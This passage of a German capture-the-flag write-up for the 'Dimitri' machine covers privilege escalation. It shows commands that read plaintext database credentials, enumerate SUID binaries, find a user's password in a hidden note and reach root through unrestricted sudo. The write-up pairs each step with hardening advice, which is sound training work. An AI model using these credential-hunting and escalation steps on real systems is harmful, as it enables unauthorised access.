Bewertung: Ergibt `Root time` - bestätigt, dass dies die Root-Flag ist.
Input: Um9vdCB0aW1l Output: Root time
Analyse: Wir untersuchen die Datei `dbconnection.php` im Verzeichnis `/var/www/html/vworkshop/`. Diese Datei enthält oft Datenbank-Zugangsdaten.
Bewertung: Wir finden die Zugangsdaten für die MySQL-Verbindung: Host `127.0.0.1`, Benutzer `root`, Passwort `whoami?`. Dies bestätigt, dass die Anwendung als DB-Root läuft und verrät uns das MySQL-Root-Passwort.
Empfehlung (Pentester): Das gefundene Passwort `whoami?` für den Systembenutzer `root` testen (z.B. mit `su root`). Es ist nicht unüblich (wenn auch unsicher), dass das DB-Root-Passwort dem System-Root-Passwort entspricht.
Empfehlung (Admin): Datenbank-Zugangsdaten nicht im Klartext in PHP-Dateien im Web-Root speichern. Sicherere Methoden wie Umgebungsvariablen oder Konfigurationsdateien außerhalb des Web-Roots mit restriktiven Berechtigungen verwenden. Das Datenbank-Root-Passwort darf nicht mit dem System-Root-Passwort übereinstimmen.
www-data@Dimitri:/var/www/html/vworkshop$ cat dbconnection.php
$con = mysql_connect("127.0.0.1","root","whoami?"); // using mysql_connect is deprecated
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("eworkshop");
Analyse: Wir versuchen, mit `su root` zum Root-Benutzer zu wechseln und verwenden das gefundene Datenbank-Passwort `whoami?`.
Bewertung: Der Versuch schlägt fehl (`su: Authentication failure`). Das Datenbank-Root-Passwort ist nicht identisch mit dem System-Root-Passwort.
Empfehlung (Pentester): Andere Methoden zur Rechteausweitung suchen.
Empfehlung (Admin): Gut, dass die Passwörter nicht identisch sind. Dennoch sollte das DB-Root-Passwort geändert und sicher verwahrt werden.
www-data@Dimitri:/var/www/html/vworkshop$ su root
Password: whoami?
su: Authentication failure
Analyse: Wir suchen nach SUID-Binaries im System, die möglicherweise zur Rechteausweitung missbraucht werden können (`find / -type f -perm -4000 -ls 2>/dev/null`).
Bewertung: Die Liste zeigt viele Standard-SUID-Binaries. Auffällig ist `/usr/bin/screen-4.5.0`. Eine ältere Version von `screen` hatte bekannte Privilege-Escalation-Schwachstellen (z.B. CVE-2017-5618). Auch `pkexec` ist vorhanden, was auf PwnKit (CVE-2021-4034) hindeuten könnte, wenn die Version verwundbar ist.
Empfehlung (Pentester): Die `screen`-Version 4.5.0 auf bekannte Exploits prüfen (z.B. `searchsploit screen 4.5.0`). `pkexec` auf PwnKit testen. Andere Standard-SUID-Binaries (wie `sudo`) auf Fehlkonfigurationen prüfen.
Empfehlung (Admin): `screen` und `policykit-1` (für `pkexec`) auf die neuesten Versionen aktualisieren. Unnötige SUID-Berechtigungen entfernen.
www-data@Dimitri:/$ find / -type f -perm -4000 -ls 2>/dev/null 405237 32 -rwsr-xr-x 1 root root 30800 May 15 2015 /bin/fusermount 388702 40 -rwsr-xr-x 1 root root 36936 Jan 27 2016 /bin/su 388682 44 -rwsr-xr-x 1 root root 44168 May 8 2014 /bin/ping 388683 44 -rwsr-xr-x 1 root root 44680 May 8 2014 /bin/ping6 388710 68 -rwsr-xr-x 1 root root 69120 Sep 3 2015 /bin/umount 388669 96 -rwsr-xr-x 1 root root 94792 Sep 3 2015 /bin/mount 259380 36 -rwsr-xr-x 1 root root 36592 Jan 27 2016 /usr/bin/newgrp 259311 72 -rwsr-xr-x 1 root root 72280 Jan 27 2016 /usr/bin/gpasswd 274571 76 -rwsr-xr-x 1 root root 75256 Oct 22 2013 /usr/bin/mtr 259392 48 -rwsr-xr-x 1 root root 47032 Jan 27 2016 /usr/bin/passwd 259237 48 -rwsr-xr-x 1 root root 46424 Jan 27 2016 /usr/bin/chfn 274541 24 -rwsr-xr-x 1 root root 23104 May 8 2014 /usr/bin/traceroute6.iputils 259497 152 -rwsr-xr-x 1 root root 155008 Aug 28 2015 /usr/bin/sudo 275783 24 -rwsr-xr-x 1 root root 23304 Nov 25 2015 /usr/bin/pkexec 275043 52 -rwsr-sr-x 1 daemon daemon 51464 Oct 21 2013 /usr/bin/at 279304 1544 -rwsr-xr-x 1 root root 1578205 Nov 9 2017 /usr/bin/screen-4.5.0 275819 88 -rwsr-sr-x 1 root mail 89216 Sep 5 2014 /usr/bin/procmail 259240 44 -rwsr-xr-x 1 root root 41336 Jan 27 2016 /usr/bin/chsh 274654 340 -rwsr-xr-- 1 root dip 347296 Apr 22 2015 /usr/sbin/pppd 274788 20 -rwsr-sr-x 1 libuuid libuuid 18904 Sep 3 2015 /usr/sbin/uuidd 274618 432 -rwsr-xr-x 1 root root 440416 May 6 2016 /usr/lib/openssh/ssh-keysign 275792 16 -rwsr-xr-x 1 root root 14776 Nov 25 2015 /usr/lib/policykit-1/polkit-agent-helper-1 259587 12 -rwsr-xr-x 1 root root 10240 Feb 25 2014 /usr/lib/eject/dmcrypt-get-device 272631 304 -rwsr-xr-- 1 root messagebus 310800 Nov 26 2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Wir suchen nach Dateien mit gesetzten Linux Capabilities (`getcap -r / 2>/dev/null`). Capabilities können bestimmten Programmen erweiterte Rechte geben, ohne dass sie SUID root sein müssen.
Bewertung: Der Befehl liefert keine Ausgabe. Das bedeutet, dass keine Dateien mit gesetzten Capabilities gefunden wurden. Dieser Vektor für Privilege Escalation ist hier nicht anwendbar.
Empfehlung (Pentester): Andere Methoden weiterverfolgen.
Empfehlung (Admin): Capabilities sind ein nützliches Werkzeug, um Rechte feingranular zu vergeben, sollten aber mit Bedacht eingesetzt und überprüft werden.
www-data@Dimitri:/var/www/html/vworkshop$ getcap -r / 2>/dev/null www-data@Dimitri:/var/www/html/vworkshop$
Analyse: Der Pentester wechselt in das Home-Verzeichnis (`/home`) und entdeckt dort ein verstecktes Verzeichnis `.Mylife`. Innerhalb dieses Verzeichnisses wird die Datei `.Secret` gefunden und ihr Inhalt angezeigt.
Bewertung: Die Datei `.Secret` enthält eine persönliche Notiz des Benutzers `dimitri`. Wichtig ist der Satz "Food wise I eat everything but DimitryHateApple" und die Wiederholung `DimitriHateApple`. Dies ist sehr wahrscheinlich das Passwort für den Systembenutzer `dimitri`.
Empfehlung (Pentester): Das Passwort `DimitriHateApple` verwenden, um mit `su dimitri` zu diesem Benutzer zu wechseln.
Empfehlung (Admin): Benutzer darauf schulen, keine Passwörter oder passworthaltigen Hinweise in Klartextdateien in ihren Home-Verzeichnissen zu speichern. Versteckte Verzeichnisse bieten keine echte Sicherheit.
www-data@Dimitri:/var/www/html/vworkshop$ cd /home www-data@Dimitri:/home$ ls -la total 20 drwxr-xr-x 5 root root 4096 Nov 16 2017 . drwxr-xr-x 23 root root 4096 Jun 7 2018 .. drwxr-xr-x 4 dimitri dimitri 4096 Nov 16 2017 dimitri drwxr-xr-x 4 nicky nicky 4096 Nov 6 2017 nicky drwxrwxr-x 2 dimitri dimitri 4096 Nov 16 2017 .Mylife www-data@Dimitri:/home$ cd .Mylife/ www-data@Dimitri:/home/.Mylife$ ls -la total 12 drwxrwxr-x 2 dimitri dimitri 4096 Nov 16 2017 . drwxr-xr-x 5 root root 4096 Nov 16 2017 .. -rw-rw-r-- 1 dimitri dimitri 369 Nov 16 2017 .Secret www-data@Dimitri:/home/.Mylife$ cat .Secret I have been working on this CIA BlackMarket Project but it seems like I am not doing anything right for people. Selling drugs and guns is not my business so soon I will quit the job. About my personal life I am a sharp shooter have two kids but my wife don't like me and I am broke. Food wise I eat everything but DimitryHateApple DimitriHateApple I will add more about later!
Analyse: Wir wechseln mit `su dimitri` zum Benutzer `dimitri` und geben das gefundene Passwort `DimitriHateApple` ein.
Bewertung: Der Benutzerwechsel ist erfolgreich! Wir haben nun eine Shell als Benutzer `dimitri`.
Empfehlung (Pentester): Die Rechte des Benutzers `dimitri` prüfen, insbesondere mit `sudo -l`.
Empfehlung (Admin): Passwort ändern. Sicherstellen, dass Benutzerpasswörter nicht leicht zu erraten oder in Dateien zu finden sind.
www-data@Dimitri:/home/.Mylife$ su dimitri
Password: DimitriHateApple
dimitri@Dimitri:/home/.Mylife$ id
uid=1001(dimitri) gid=1001(dimitri) groups=1001(dimitri)
Analyse: Als Benutzer `dimitri` führen wir `sudo -l` aus, um zu prüfen, welche Befehle wir mit `sudo` (also mit Root-Rechten) ausführen dürfen.
Bewertung: Die Ausgabe `(ALL : ALL) ALL` ist der Jackpot! Der Benutzer `dimitri` darf jeden Befehl als jeder Benutzer (insbesondere als Root) auf diesem Host ausführen. Er hat volle `sudo`-Rechte.
Empfehlung (Pentester): Einfach `sudo su` oder `sudo /bin/bash` ausführen, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Kritische Fehlkonfiguration! Benutzer sollten niemals uneingeschränkte `(ALL : ALL) ALL`-Rechte erhalten, es sei denn, es ist absolut unvermeidlich und dokumentiert. `sudo`-Rechte immer auf die spezifischen Befehle beschränken, die der Benutzer benötigt (Prinzip der geringsten Rechte).
dimitri@Dimitri:/home/.Mylife$ sudo -l
[sudo] password for dimitri: DimitriHateApple
Matching Defaults entries for dimitri on Dimitri:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User dimitri may run the following commands on Dimitri:
(ALL : ALL) ALL
Analyse: Wir nutzen die vollen `sudo`-Rechte von `dimitri`, um mit `sudo su` eine interaktive Root-Shell zu starten.
Bewertung: Erfolgreich! Wir erhalten einen Root-Prompt (`root@Dimitri:~#`). Die Privilege Escalation zu Root ist abgeschlossen.
Empfehlung (Pentester): Finale Bestätigung, Root-Zugriff ist vorhanden.
Empfehlung (Admin): Die `sudo`-Rechte für `dimitri` sofort entziehen oder stark einschränken.
dimitri@Dimitri:/home/.Mylife$ sudo su root@Dimitri:/home/.Mylife# id uid=0(root) gid=0(root) groups=0(root)
Analyse: Als Root wechseln wir ins Home-Verzeichnis (`cd ~` was zu `/root` führt) und listen den Inhalt auf. Wir finden die Datei `THEEND.txt` und zeigen ihren Inhalt an.
Bewertung: Die Datei `THEEND.txt` enthält eine Abschlussnachricht des Autors der CTF-Maschine mit ASCII-Art. Sie bestätigt das Ende der Herausforderung.
Empfehlung (Pentester): Abschluss des Berichts vorbereiten.
Empfehlung (Admin): Solche Dateien sind für Produktionssysteme irrelevant.
root@Dimitri:/home/.Mylife# cd ~ root@Dimitri:~# ls THEEND.txt root@Dimitri:~# cat THEEND.txt FINALLY YOU MADE IT! THANKS FOR PLAYING BT2ROOT CTF AND PLEASE DO MAIL ME ANY SUGGESTIONS @ acebomber@protonmail.com THANKS SECTALKS BRISBANE FOR HOSTING MY CTF ( ) |\ _,--._ / | | `.,' `. / | ` ' ,-' ' \/_ _ ( / (,-.`. ,',-.`. `__,' |/#\ ),-','#\`= ,'.` | `._/) -'.\_,' ) ))| / (_.)\ . -'// ( /\____/\ ) )`'\ \ |V-V|| ' , \ |`- -- -' ,' \ \ _____ ___ | .' \ \ `._,-' `- `.__,`^' \ ` -' -.______ \ . / ______,- `. ,' ./AcEb0mb3R_l0g0ff root@Dimitri:~#
Analyse: Wir bestätigen verbal den Erfolg der Privilege Escalation.
Bewertung: Das Ziel, Root-Rechte zu erlangen, wurde über den Benutzer `dimitri` und `sudo` erreicht.
Empfehlung (Pentester): Abschluss.
Empfehlung (Admin): `sudo`-Rechte korrigieren.
# Privilege Escalation erfolgreich
Analyse: Die im Verlauf des Penetrationstests gefundenen Flags werden hier zusammengefasst. Flag 1 wurde in `flag1.txt` via `robots.txt` gefunden. Flag 2 in `IMP.txt` via FTP. Flag 4 nach dem Admin-Login. Flag 5 in `redirect.php`. Flag 6 (die Root-Flag) in `flag.txt` im Backdoor-Verzeichnis.
Bewertung: Alle Flags wurden erfolgreich extrahiert und dokumentiert.
Empfehlung (Pentester): Bericht abschließen.
Empfehlung (Admin): Die zugrundeliegenden Schwachstellen beheben, die das Auffinden dieser Flags ermöglichten.